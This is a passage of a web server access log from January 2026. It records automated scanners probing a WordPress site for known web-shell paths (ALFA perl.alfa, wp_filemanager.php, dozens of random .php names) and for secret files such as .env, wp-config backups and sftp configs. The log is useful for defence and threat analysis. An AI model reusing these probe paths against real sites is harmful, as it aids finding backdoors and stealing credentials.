Moblie Safari/537.36" 195.24.236.78 - - [23/Jan/2026:02:15:34 +0300] "POST /ALFA_DATA/alfacgiapi/perl.alfa HTTP/1.1" 301 795 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 195.24.236.78 - - [23/Jan/2026:02:15:43 +0300] "POST /alfacgiapi/perl.alfa HTTP/1.1" 301 795 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 43.133.253.253 - - [23/Jan/2026:02:39:09 +0300] "GET / HTTP/1.1" 301 795 "-" "Mozilla/5.0 (iPhone; CPU iPhone OS 13_2_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/13.0.3 Mobile/15E148 Safari/604.1" 195.24.236.78 - - [23/Jan/2026:02:15:34 +0300] "GET /wp-content/themes/seotheme/db.php?u HTTP/1.1" 301 795 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 195.24.236.78 - - [23/Jan/2026:02:15:34 +0300] "GET / HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 3.86.204.240 - - [23/Jan/2026:02:51:36 +0300] "GET / HTTP/1.1" 301 795 "-" "axios/1.9.0" 64.89.163.10 - - [23/Jan/2026:03:10:15 +0300] "GET /wp-content/plugins/fix/up.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/85.0.4183.102 Safari/537.36" 64.89.163.10 - - [23/Jan/2026:03:10:15 +0300] "POST /wp-plain.php HTTP/1.1" 301 795 "www.google.com" "Mozilla/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 64.89.163.10 - - [23/Jan/2026:03:10:15 +0300] "POST /ALFA_DATA/alfacgiapi/perl.alfa HTTP/1.1" 301 795 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 64.89.163.10 - - [23/Jan/2026:03:11:04 +0300] "POST /alfacgiapi/perl.alfa HTTP/1.1" 301 795 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 120.71.59.24 - - [23/Jan/2026:03:14:43 +0300] "GET / HTTP/1.1" 301 795 "-" "Mozilla/5.0 (iPhone; CPU iPhone OS 13_2_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/13.0.3 Mobile/15E148 Safari/604.1" 64.89.163.10 - - [23/Jan/2026:03:10:15 +0300] "GET /wp-content/themes/seotheme/db.php?u HTTP/1.1" 301 795 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 64.89.163.10 - - [23/Jan/2026:03:10:15 +0300] "GET / HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 169.197.142.180 - - [23/Jan/2026:03:47:52 +0300] "GET / HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:121.0) Gecko/20100101 Firefox/121.0" 4.197.167.136 - - [23/Jan/2026:05:00:17 +0300] "GET /wp-content/plugins/hellopress/wp_filemanager.php HTTP/1.1" 301 795 "-" "-" 175.44.42.180 - - [23/Jan/2026:07:20:04 +0300] "GET / HTTP/1.1" 301 795 "http://bdn.fatrizscae.online/" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/143.0.0.0 Safari/537.36" 66.249.68.3 - - [23/Jan/2026:07:50:22 +0300] "GET /robots.txt HTTP/1.1" 301 795 "-" "Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)" 66.249.68.4 - - [23/Jan/2026:07:51:41 +0300] "GET / HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Linux; Android 6.0.1; Nexus 5X Build/MMB29P) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/143.0.7499.192 Mobile Safari/537.36 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)" 66.249.68.4 - - [23/Jan/2026:07:51:45 +0300] "GET / HTTP/1.1" 301 795 "-" "Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)" 66.249.68.2 - - [23/Jan/2026:07:50:31 +0300] "GET / HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Linux; Android 6.0.1; Nexus 5X Build/MMB29P) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/143.0.7499.192 Mobile Safari/537.36 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)" 43.131.39.179 - - [23/Jan/2026:08:22:10 +0300] "GET / HTTP/1.1" 301 795 "-" "Mozilla/5.0 (iPhone; CPU iPhone OS 13_2_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/13.0.3 Mobile/15E148 Safari/604.1" 175.44.42.215 - - [23/Jan/2026:08:26:11 +0300] "GET / HTTP/1.1" 301 795 "http://taedq.fatrizscae.online/" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/143.0.0.0 Safari/537.36" 165.154.238.92 - - [23/Jan/2026:09:13:07 +0300] "GET /wp-config.php~ HTTP/1.1" 301 795 "-" "Python-urllib/2.7" 104.28.225.131 - - [23/Jan/2026:09:20:24 +0300] "GET /style.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 43.140.247.223 - - [23/Jan/2026:09:33:50 +0300] "GET / HTTP/1.1" 301 795 "-" "Mozilla/5.0 (iPhone; CPU iPhone OS 13_2_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/13.0.3 Mobile/15E148 Safari/604.1" 203.159.90.25 - - [23/Jan/2026:09:36:30 +0300] "GET /style.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 203.159.90.25 - - [23/Jan/2026:09:36:43 +0300] "GET /wp-content/style.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 203.159.90.25 - - [23/Jan/2026:09:36:51 +0300] "GET /wp-content/themes/style.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 203.159.90.25 - - [23/Jan/2026:09:36:58 +0300] "GET /wp-admin/style.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 203.159.90.25 - - [23/Jan/2026:09:37:25 +0300] "GET /flower.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 203.159.90.25 - - [23/Jan/2026:09:37:49 +0300] "GET /blurbs.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 203.159.90.25 - - [23/Jan/2026:09:37:53 +0300] "GET /akcc.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 203.159.90.25 - - [23/Jan/2026:09:38:08 +0300] "GET /flex.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 203.159.90.25 - - [23/Jan/2026:09:38:11 +0300] "GET /doc.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 203.159.90.25 - - [23/Jan/2026:09:38:38 +0300] "GET /zoo.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 43.166.246.180 - - [23/Jan/2026:09:24:03 +0300] "GET / HTTP/1.1" 301 795 "-" "Mozilla/5.0 (iPhone; CPU iPhone OS 13_2_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/13.0.3 Mobile/15E148 Safari/604.1" 203.159.90.25 - - [23/Jan/2026:09:37:07 +0300] "GET /wp-includes/style.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 203.159.90.25 - - [23/Jan/2026:09:37:13 +0300] "GET /chosen.php?p= HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 203.159.90.25 - - [23/Jan/2026:09:37:21 +0300] "GET /file.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 203.159.90.25 - - [23/Jan/2026:09:37:32 +0300] "GET /gifclass.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 203.159.90.25 - - [23/Jan/2026:09:37:39 +0300] "GET /bless.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 203.159.90.25 - - [23/Jan/2026:09:37:44 +0300] "GET /class-t.api.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 203.159.90.25 - - [23/Jan/2026:09:38:00 +0300] "GET /abcd.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 203.159.90.25 - - [23/Jan/2026:09:38:22 +0300] "GET /wp-includes/js/thickbox/thickbox.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 203.159.90.25 - - [23/Jan/2026:09:38:30 +0300] "GET /akc.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 203.159.90.25 - - [23/Jan/2026:09:38:43 +0300] "GET //zwso.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 203.159.90.25 - - [23/Jan/2026:09:38:49 +0300] "GET /wp-content/plugins/hellopress/wp_mna.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 203.159.90.25 - - [23/Jan/2026:09:39:00 +0300] "GET /shlo.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 203.159.90.25 - - [23/Jan/2026:09:39:07 +0300] "GET /files.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 203.159.90.25 - - [23/Jan/2026:09:39:12 +0300] "GET /wp-editor.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 185.220.100.250 - - [23/Jan/2026:10:29:21 +0300] "GET / HTTP/1.1" 301 795 "eliteewallet.com" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/125.0.0.0 Safari/537.36" 45.148.10.124 - - [23/Jan/2026:10:39:59 +0300] "GET /.env HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Linux; Android 9; SM-M305F) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/76.0.3809.111 Mobile Safari/537.36" 173.252.70.16 - - [23/Jan/2026:10:59:49 +0300] "GET /robots.txt HTTP/1.1" 301 795 "-" "facebookexternalhit/1.1 (+http://www.facebook.com/externalhit_uatext.php)" 203.159.90.25 - - [23/Jan/2026:09:38:56 +0300] "GET /bolt.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 175.44.42.136 - - [23/Jan/2026:11:52:48 +0300] "GET / HTTP/1.1" 301 795 "http://aqxjd.fatrizscae.online/" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/143.0.0.0 Safari/537.36" 91.202.4.80 - - [23/Jan/2026:12:12:42 +0300] "GET /wp-content/plugins/lastudio-element-kit/readme.txt HTTP/1.1" 301 795 "-" "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1)" 178.16.53.34 - - [23/Jan/2026:12:49:15 +0300] "GET /wp-login.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 11.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/121.0.6167.85 Safari/537.36" 166.0.244.69 - - [23/Jan/2026:13:06:45 +0300] "GET / HTTP/1.1" 301 795 "-" "axios/1.7.4" 175.44.42.136 - - [23/Jan/2026:14:08:19 +0300] "GET / HTTP/1.1" 301 795 "http://uckj.fatrizscae.online/" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/143.0.0.0 Safari/537.36" 38.248.89.120 - - [23/Jan/2026:14:12:20 +0300] "GET /wp-login.php HTTP/1.1" 301 795 "-" "Mozilla/5.0" 94.102.55.18 - - [23/Jan/2026:13:26:29 +0300] "GET /wp-content/themes/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/121.0.0.0 Safari/537.36" 43.153.76.247 - - [23/Jan/2026:14:46:19 +0300] "GET / HTTP/1.1" 301 795 "-" "Mozilla/5.0 (iPhone; CPU iPhone OS 13_2_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/13.0.3 Mobile/15E148 Safari/604.1" 205.210.31.10 - - [23/Jan/2026:14:48:40 +0300] "GET / HTTP/1.1" 301 795 "-" "Hello from Palo Alto Networks, find out more about our scans in https://docs-cortex.paloaltonetworks.com/r/1/Cortex-Xpanse/Scanning-activity" 43.166.250.187 - - [23/Jan/2026:15:44:25 +0300] "GET / HTTP/1.1" 301 795 "-" "Mozilla/5.0 (iPhone; CPU iPhone OS 13_2_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/13.0.3 Mobile/15E148 Safari/604.1" 182.42.110.255 - - [23/Jan/2026:15:49:53 +0300] "GET / HTTP/1.1" 301 795 "-" "Mozilla/5.0 (iPhone; CPU iPhone OS 13_2_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/13.0.3 Mobile/15E148 Safari/604.1" 159.223.187.253 - - [23/Jan/2026:16:40:08 +0300] "GET /favicon.ico HTTP/1.1" 301 795 "http://www.eliteewallet.com/" "Mozilla/5.0 (X11; Linux x86_64; rv:142.0) Gecko/20100101 Firefox/142.0" 175.44.42.136 - - [23/Jan/2026:16:28:12 +0300] "GET / HTTP/1.1" 301 795 "http://oqxdo.fatrizscae.online/" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/143.0.0.0 Safari/537.36" 159.223.187.253 - - [23/Jan/2026:16:40:08 +0300] "GET / HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux x86_64; rv:142.0) Gecko/20100101 Firefox/142.0" 98.81.249.55 - - [23/Jan/2026:19:00:37 +0300] "GET / HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.149 Safari/537.36" 102.165.48.73 - - [23/Jan/2026:17:47:59 +0300] "GET / HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/95.0.4638.69 Safari/537.36" 112.93.118.61 - - [23/Jan/2026:19:48:42 +0300] "GET /wp-json/wp/v2/posts HTTP/1.0" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" 89.110.99.186 - - [23/Jan/2026:21:04:09 +0300] "GET / HTTP/1.0" 301 795 "http://eliteewallet.com/" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36 Avast/131.0.0.0" 91.224.92.182 - - [23/Jan/2026:22:14:02 +0300] "GET /wp-login.php HTTP/1.1" 301 795 "https://wordpress.org/" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7; rv:120.0) Gecko/20100101 Firefox/120.0" 182.42.111.213 - - [23/Jan/2026:22:22:07 +0300] "GET / HTTP/1.1" 301 795 "-" "Mozilla/5.0 (iPhone; CPU iPhone OS 13_2_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/13.0.3 Mobile/15E148 Safari/604.1" 43.157.150.69 - - [23/Jan/2026:22:42:38 +0300] "GET / HTTP/1.1" 301 795 "-" "Mozilla/5.0 (iPhone; CPU iPhone OS 13_2_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/13.0.3 Mobile/15E148 Safari/604.1" 93.158.90.137 - - [23/Jan/2026:23:39:39 +0300] "GET / HTTP/1.1" 301 795 "-" "Mozilla/5.0 (iPhone; CPU iPhone OS 17_3_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/17.3.1 Mobile/15E148 Safari/604" 115.45.40.175 - - [23/Jan/2026:23:56:03 +0300] "GET /robots.txt HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3445.85 Safari/537.36 Edge/18.18362" 170.168.175.14 - - [23/Jan/2026:23:25:14 +0300] "GET /?rest_route=/wp/v2/pages&context=embed&per_page=10 HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.7444.162 Safari/537.36" 91.202.4.80 - - [23/Jan/2026:23:35:47 +0300] "GET /txets.php HTTP/1.1" 301 795 "-" "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1)" 103.108.231.56 - - [24/Jan/2026:00:43:13 +0300] "POST /?s=captcha&test=-1 HTTP/1.1" 301 795 "-" "Mozilla/5.0" 216.244.66.194 - - [24/Jan/2026:01:23:57 +0300] "GET /robots.txt HTTP/1.1" 301 795 "-" "Mozilla/5.0 (compatible; DotBot/1.2; +https://opensiteexplorer.org/dotbot; help@moz.com)" 43.130.228.73 - - [24/Jan/2026:00:35:46 +0300] "GET / HTTP/1.1" 301 795 "-" "Mozilla/5.0 (iPhone; CPU iPhone OS 13_2_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/13.0.3 Mobile/15E148 Safari/604.1" 103.108.231.56 - - [24/Jan/2026:00:43:19 +0300] "POST /?s=captcha&test=-1 HTTP/1.1" 301 795 "-" "Mozilla/5.0" 146.19.9.236 - - [24/Jan/2026:00:55:59 +0300] "GET /wp-json/wp/v2/posts HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" 198.235.24.18 - - [24/Jan/2026:03:14:25 +0300] "GET / HTTP/1.1" 301 795 "-" "-" 119.96.24.54 - - [24/Jan/2026:04:39:45 +0300] "GET / HTTP/1.1" 301 795 "-" "Mozilla/5.0 (iPhone; CPU iPhone OS 13_2_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/13.0.3 Mobile/15E148 Safari/604.1" 171.220.244.196 - - [24/Jan/2026:05:45:40 +0300] "GET / HTTP/1.1" 301 795 "-" "Python/3.8 aiohttp/3.9.5" 40.83.96.65 - - [24/Jan/2026:05:22:32 +0300] "GET //wp-content/plugins/fix/up.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/85.0.4183.102 Safari/537.36" 174.138.89.33 - - [24/Jan/2026:06:06:07 +0300] "GET /wp-admin/css/ HTTP/1.1" 301 795 "binance.com" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/90.0.4430.85 Safari/537.36" 3.14.15.146 - - [24/Jan/2026:07:20:11 +0300] "GET / HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36" 103.118.44.153 - - [24/Jan/2026:07:58:15 +0300] "GET //wp-json/wp/v2/posts HTTP/1.0" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" 43.135.183.82 - - [24/Jan/2026:09:17:21 +0300] "GET / HTTP/1.1" 301 795 "-" "Mozilla/5.0 (iPhone; CPU iPhone OS 13_2_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/13.0.3 Mobile/15E148 Safari/604.1" 45.138.16.192 - - [24/Jan/2026:09:56:35 +0300] "GET /wp-content/themes/seotheme/db.php?u HTTP/1.1" 301 795 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 45.138.16.192 - - [24/Jan/2026:09:56:35 +0300] "POST /wp-plain.php HTTP/1.1" 301 795 "www.google.com" "Mozilla/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 45.138.16.192 - - [24/Jan/2026:09:56:35 +0300] "GET / HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 45.138.16.192 - - [24/Jan/2026:09:56:35 +0300] "GET /wp-content/plugins/fix/up.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/85.0.4183.102 Safari/537.36" 45.138.16.192 - - [24/Jan/2026:09:56:53 +0300] "POST /alfacgiapi/perl.alfa HTTP/1.1" 301 795 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 87.121.84.30 - - [24/Jan/2026:09:51:13 +0300] "GET /wp-content.php HTTP/1.1" 301 795 "-" "ALittle Client" 87.121.84.115 - - [24/Jan/2026:09:52:39 +0300] "GET /admin/assets/global/plugins/jquery-file-upload/server/php/index.php?file=tf2rghf.jpg HTTP/1.1" 301 795 "-" "ALittle Client" 45.138.16.192 - - [24/Jan/2026:09:56:35 +0300] "POST /ALFA_DATA/alfacgiapi/perl.alfa HTTP/1.1" 301 795 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 43.164.197.224 - - [24/Jan/2026:10:26:07 +0300] "GET / HTTP/1.1" 301 795 "-" "Mozilla/5.0 (iPhone; CPU iPhone OS 13_2_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/13.0.3 Mobile/15E148 Safari/604.1" 130.12.181.143 - - [24/Jan/2026:10:51:56 +0300] "GET /wp-login.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" 117.33.163.216 - - [24/Jan/2026:10:59:15 +0300] "GET / HTTP/1.1" 301 795 "-" "Mozilla/5.0 (iPhone; CPU iPhone OS 13_2_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/13.0.3 Mobile/15E148 Safari/604.1" 103.197.240.59 - - [24/Jan/2026:11:45:10 +0300] "GET /sftp-config.json HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:77.0) Gecko/20100101 Firefox/77.0" 103.197.240.59 - - [24/Jan/2026:11:45:14 +0300] "GET /.vscode/sftp.json HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:77.0) Gecko/20100101 Firefox/77.0" 165.245.133.146 - - [24/Jan/2026:12:07:25 +0300] "GET /wp-login.php HTTP/1.1" 301 795 "https://www.google.com/search?q=wordpress" "Mozilla/5.0 (Windows NT 11.0; Win64; x64; rv:120.0) Gecko/20100101 Firefox/120.0" 4.188.251.0 - - [24/Jan/2026:15:57:01 +0300] "GET /wp-content/plugins/hellopress/wp_filemanager.php HTTP/1.1" 301 795 "-" "-" 4.188.251.0 - - [24/Jan/2026:15:57:11 +0300] "GET /ol.php HTTP/1.1" 301 795 "-" "-" 4.188.251.0 - - [24/Jan/2026:15:57:14 +0300] "GET /sikma.php HTTP/1.1" 301 795 "-" "-" 4.188.251.0 - - [24/Jan/2026:15:57:19 +0300] "GET /rh1.php HTTP/1.1" 301 795 "-" "-" 4.188.251.0 - - [24/Jan/2026:15:57:22 +0300] "GET /sid3.php HTTP/1.1" 301 795 "-" "-" 4.188.251.0 - - [24/Jan/2026:15:57:24 +0300] "GET /okxh.php HTTP/1.1" 301 795 "-" "-" 4.188.251.0 - - [24/Jan/2026:15:57:27 +0300] "GET /krypton.php HTTP/1.1" 301 795 "-" "-" 4.188.251.0 - - [24/Jan/2026:15:57:30 +0300] "GET /zoo.php HTTP/1.1" 301 795 "-" "-" 4.188.251.0 - - [24/Jan/2026:15:57:35 +0300] "GET /system/logs/scorpiol.php HTTP/1.1" 301 795 "-" "-" 4.188.251.0 - - [24/Jan/2026:15:57:38 +0300] "GET /maul.php HTTP/1.1" 301 795 "-" "-" 4.188.251.0 - - [24/Jan/2026:15:57:41 +0300] "GET /protected/i.php HTTP/1.1" 301 795 "-" "-" 4.188.251.0 - - [24/Jan/2026:15:57:43 +0300] "GET /ru/adminer/adminer474.php HTTP/1.1" 301 795 "-" "-" 4.188.251.0 - - [24/Jan/2026:15:57:45 +0300] "GET /download.php HTTP/1.1" 301 795 "-" "-" 4.188.251.0 - - [24/Jan/2026:15:57:47 +0300] "GET /varb.php HTTP/1.1" 301 795 "-" "-" 4.188.251.0 - - [24/Jan/2026:15:57:50 +0300] "GET /assets/authorize.php HTTP/1.1" 301 795 "-" "-" 4.188.251.0 - - [24/Jan/2026:15:57:53 +0300] "GET /tt.php HTTP/1.1" 301 795 "-" "-" 4.188.251.0 - - [24/Jan/2026:15:57:56 +0300] "GET /a5e0a.php HTTP/1.1" 301 795 "-" "-" 4.188.251.0 - - [24/Jan/2026:15:57:58 +0300] "GET /abc.php HTTP/1.1" 301 795 "-" "-" 4.188.251.0 - - [24/Jan/2026:15:58:00 +0300] "GET /55b76.php HTTP/1.1" 301 795 "-" "-" 4.188.251.0 - - [24/Jan/2026:15:58:05 +0300] "GET /rzki.php HTTP/1.1" 301 795 "-" "-" 4.188.251.0 - - [24/Jan/2026:15:58:07 +0300] "GET /acxx.php HTTP/1.1" 301 795 "-" "-" 4.188.251.0 - - [24/Jan/2026:15:58:09 +0300] "GET /d12.php HTTP/1.1" 301 795 "-" "-" 4.188.251.0 - - [24/Jan/2026:15:58:11 +0300] "GET /s.php?p= HTTP/1.1" 301 795 "-" "-" 4.188.251.0 - - [24/Jan/2026:15:58:19 +0300] "GET /error_log.php HTTP/1.1" 301 795 "-" "-" 4.188.251.0 - - [24/Jan/2026:15:58:21 +0300] "GET /qaez.php56 HTTP/1.1" 301 795 "-" "-" 4.188.251.0 - - [24/Jan/2026:15:58:24 +0300] "GET /dox.php HTTP/1.1" 301 795 "-" "-" 4.188.251.0 - - [24/Jan/2026:15:58:26 +0300] "GET /ahax.php HTTP/1.1" 301 795 "-" "-" 4.188.251.0 - - [24/Jan/2026:15:58:29 +0300] "GET /lock360.php HTTP/1.1" 301 795 "-" "-" 4.188.251.0 - - [24/Jan/2026:15:58:31 +0300] "GET /6kUgr4yGzxN.php HTTP/1.1" 301 795 "-" "-" 4.188.251.0 - - [24/Jan/2026:15:58:33 +0300] "GET /wp.php HTTP/1.1" 301 795 "-" "-" 4.188.251.0 - - [24/Jan/2026:15:58:35 +0300] "GET /test1.php HTTP/1.1" 301 795 "-" "-" 4.188.251.0 - - [24/Jan/2026:15:58:39 +0300] "GET /clss.php HTTP/1.1" 301 795 "-" "-" 4.188.251.0 - - [24/Jan/2026:15:58:43 +0300] "GET /44.php HTTP/1.1" 301 795 "-" "-" 4.188.251.0 - - [24/Jan/2026:15:58:45 +0300] "GET /ii5file.php HTTP/1.1" 301 795 "-" "-" 4.188.251.0 - - [24/Jan/2026:15:58:48 +0300] "GET /ss.php HTTP/1.1" 301 795 "-" "-" 4.188.251.0 - - [24/Jan/2026:15:58:51 +0300] "GET /re.php HTTP/1.1" 301 795 "-" "-" 4.188.251.0 - - [24/Jan/2026:15:58:54 +0300] "GET /xsas.php HTTP/1.1" 301 795 "-" "-" 4.188.251.0 - - [24/Jan/2026:15:58:56 +0300] "GET /asus.php HTTP/1.1" 301 795 "-" "-" 4.188.251.0 - - [24/Jan/2026:15:59:00 +0300] "GET /wp-good.php HTTP/1.1" 301 795 "-" "-" 4.188.251.0 - - [24/Jan/2026:15:59:03 +0300] "GET /0x.php HTTP/1.1" 301 795 "-" "-" 4.188.251.0 - - [24/Jan/2026:15:59:06 +0300] "GET /domains.php HTTP/1.1" 301 795 "-" "-" 4.188.251.0 - - [24/Jan/2026:15:59:08 +0300] "GET /wp-goods.php HTTP/1.1" 301 795 "-" "-" 4.188.251.0 - - [24/Jan/2026:15:59:11 +0300] "GET /144.php HTTP/1.1" 301 795 "-" "-" 4.188.251.0 - - [24/Jan/2026:15:59:13 